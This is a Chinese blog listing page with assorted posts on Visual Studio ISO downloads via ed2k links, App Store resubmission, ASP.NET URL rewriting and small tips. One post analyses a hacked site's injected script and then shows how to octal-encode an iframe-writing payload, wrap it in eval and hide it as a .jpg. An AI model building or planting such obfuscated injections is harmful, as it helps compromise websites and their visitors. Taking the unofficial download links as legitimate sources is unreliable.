博客 (98)

 

离 VS2008 发布已经过去多年了，最近有个项目必须用到，我觉得还是有必要把它的一些信息写下来，特别是下载和注册方式，方便日后查看。我关心的当然是 Team Suite 版本。

zh-hans_visual_studio_team_system_2008_team_suite_trial_x86_dvd_x14-29243.iso 是 90 天试用版 （需要序列号，网上有很多）

这里推荐 MSDN 版（无需序列号，没有使用期限）：

有了用这个 SHA1 去网上搜一下，就可以看到一大堆下载地址，譬如：

ed2k://|file|zh-Hans_visual_studio_team_system_2008_team_suite_x86_dvd_X14-26452.iso|4663904256|8E2D6430D819328940B9BF83568589FA|/

SP1 补丁包：

Visual Studio 2008 Service Pack 1 (x86, x64 WoW) - DVD (Chinese-Simplified)

文件名：zh-hans_visual_studio_2008_service_pack_1_x86_dvd_x15-12981.iso
SHA1：8C3EA92CBC60CECB30B6262DB475BDE1E2620B36
ed2k://|file|zh-hans_visual_studio_2008_service_pack_1_x86_dvd_x15-12981.iso|941703168|E1647161AA5CA4567B787A5606D2A065|/

 

离 VS2012 发布已经过去一年了，我觉得还是有必要把它的一些信息写下来，特别是下载和注册方式，方便日后查看。我关心的依旧是 Ultimate 版本。

VS2012_ULT_chs.iso 是 Windows 下载中心的 Trial 版 （需要序列号，网上有很多）

这里推荐 MSDN 版（无需序列号，没有使用期限）：

有了用这个 SHA1 去网上搜一下，就可以看到一大堆下载地址，譬如：

ed2k://|file|cn_visual_studio_ultimate_2012_x86_dvd_920954.iso|1643802624|A3058CE4F2AD7035DB6E67586D07AAA5|/
 

最近开发了一款 iPhone 客户端应用，提交到 App Store，被拒绝（Rejected）。然后修复问题后再次提交，仍然被拒绝，奇怪的是 Resolution Center 中的拒绝原因跟上次一模一样。


幸好我在应用中做了记录客户端信息的功能，查看后发现，IP 来自“美国Apple公司”的启动版本竟然是第一次提交的版本。于是我登录 iTunes Connect 跟苹果客服联系，对方回复他们打开的确实是有问题那个版本。


正当迷茫之时，无意中在 iTunes Connect 看到 Binary Details 这个按钮，点进去一看明白了。原来，虽然我在 Xcode 中重新上传了源文件，但是这里看到的仍然是旧版本。于是我点右上角的“Reject This Binary”按钮，重新通过 Xcode 上传源代码，过会儿再进入 Binary Details 查看，还是没有变化。苦恼中。


是不是 Xcode 中要做什么处理呢？我是新手，只知道点菜单栏上的三角形按钮是调试，具体要怎么使用 Debug / Release / Run / Test / Profile / Analyze / Archive 还真是不太明白，于是对这些功能一阵乱点，意外发现 Organizer 的 Archives 中项目的 Creation Data 变成了刚才的时间，而且下面也多了一条记录，赶紧 Distribute！


一柱香后再回头去看看 Binary Details，终于看到新版本的信息了。


Waiting For Review 中……

今天访问某 asp 网站时发现不对劲，一看源文件原来网页被挂马了，仔细查看源代码发现：

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容：（木马内容已替换成安全内容）

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐，立刻怀疑是 ascii 码的八进制代码。于是解码之，就看到了：（木马内容已替换成安全内容）

document.write('<iframe src=https://xoyozo.net></iframe>')

至此，整个流程已非常清晰了。

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码，看到的却是原码，下面提供HTML编码和解码：

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别：

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽，可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马：把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法，保存为 .jpg 文件，再通过文章开始介绍的方法调用就行了。

开始 - 设备和打印机 - 有绿箭头的打印机图标上右键 - 查看现在正在打印什么 - 打印机 - 共享 - 取消共享这台打印机

下载地址：http://www.pluralsight.com/tools.aspx

使用很方便，看图就知道：

IEnumerator SessionEnum = Session.Keys.GetEnumerator();
while (SessionEnum.MoveNext())
{
    Label1.Text += Session[SessionEnum.Current.ToString()].ToString() + "
";
}

需要 URLRewriter.dll，它可以在微软官方下载到：取出Bin里面的文件

接下来配置 Web.Config 文件：

在 <configSections> 节点下添加：

<section name="RewriterConfig" type="URLRewriter.Config.RewriterConfigSerializerSectionHandler, URLRewriter" />

在 <configuration> 节点下添加：

<RewriterConfig>
<Rules>
<RewriterRule>
<!--测试-->
<LookFor>~/(\d{2})/(\d{2})\.aspx</LookFor>
<SendTo>~/Default.aspx?m=$1&amp;d=$2</SendTo>
</RewriterRule>
</Rules>
</RewriterConfig>

在 <httpHandlers> 节点下添加：

<add verb="*" path="*.aspx" type="URLRewriter.RewriterFactoryHandler, URLRewriter" />

完成以上步骤即可以实现URL重写的。但是它只能实现 ~/11/11.aspx 到 ~/Default.aspx?m=11&d=11 的重写，如果要实现 ~/11/11.html 到 ~/Default.aspx?m=11&d=11 的重写，那么需要通过设置 IIS 来实现 .html 文件的筛选。(适合 IIS5 IIS6，在 IIS7 中不用这么麻烦，具体见本文末尾的链接，scott 的文章)

进入：Internet 信息管理服务 -》网站属性 -》主目录 -》配置 -》映射 -》添加 -》把扩展名 .html 映射到 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll。

然后在 <httpHandlers> 节点中,把 *.html 也交给 URLRewriter 处理就行了。

OK，试试看，访问 ~/11/11.html 确实是 ~/Default.aspx?m=11&d=11 的内容，可是只要 postback 一下，地址栏又显示实际路径了。只要在你的/app_browsers文件夹里添加一个.browser文件，注册使用一个控件适配类即可输出新的action属性。

 

 

 

你可在这里查看一个我创建的样例实现，其展示了该如何实现与URL重写协作的表单控件适配器(Form Control Adapter) 。

 

参考：http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx
译文：http://blog.joycode.com/scottgu/archive/2007/03/01/94004.aspx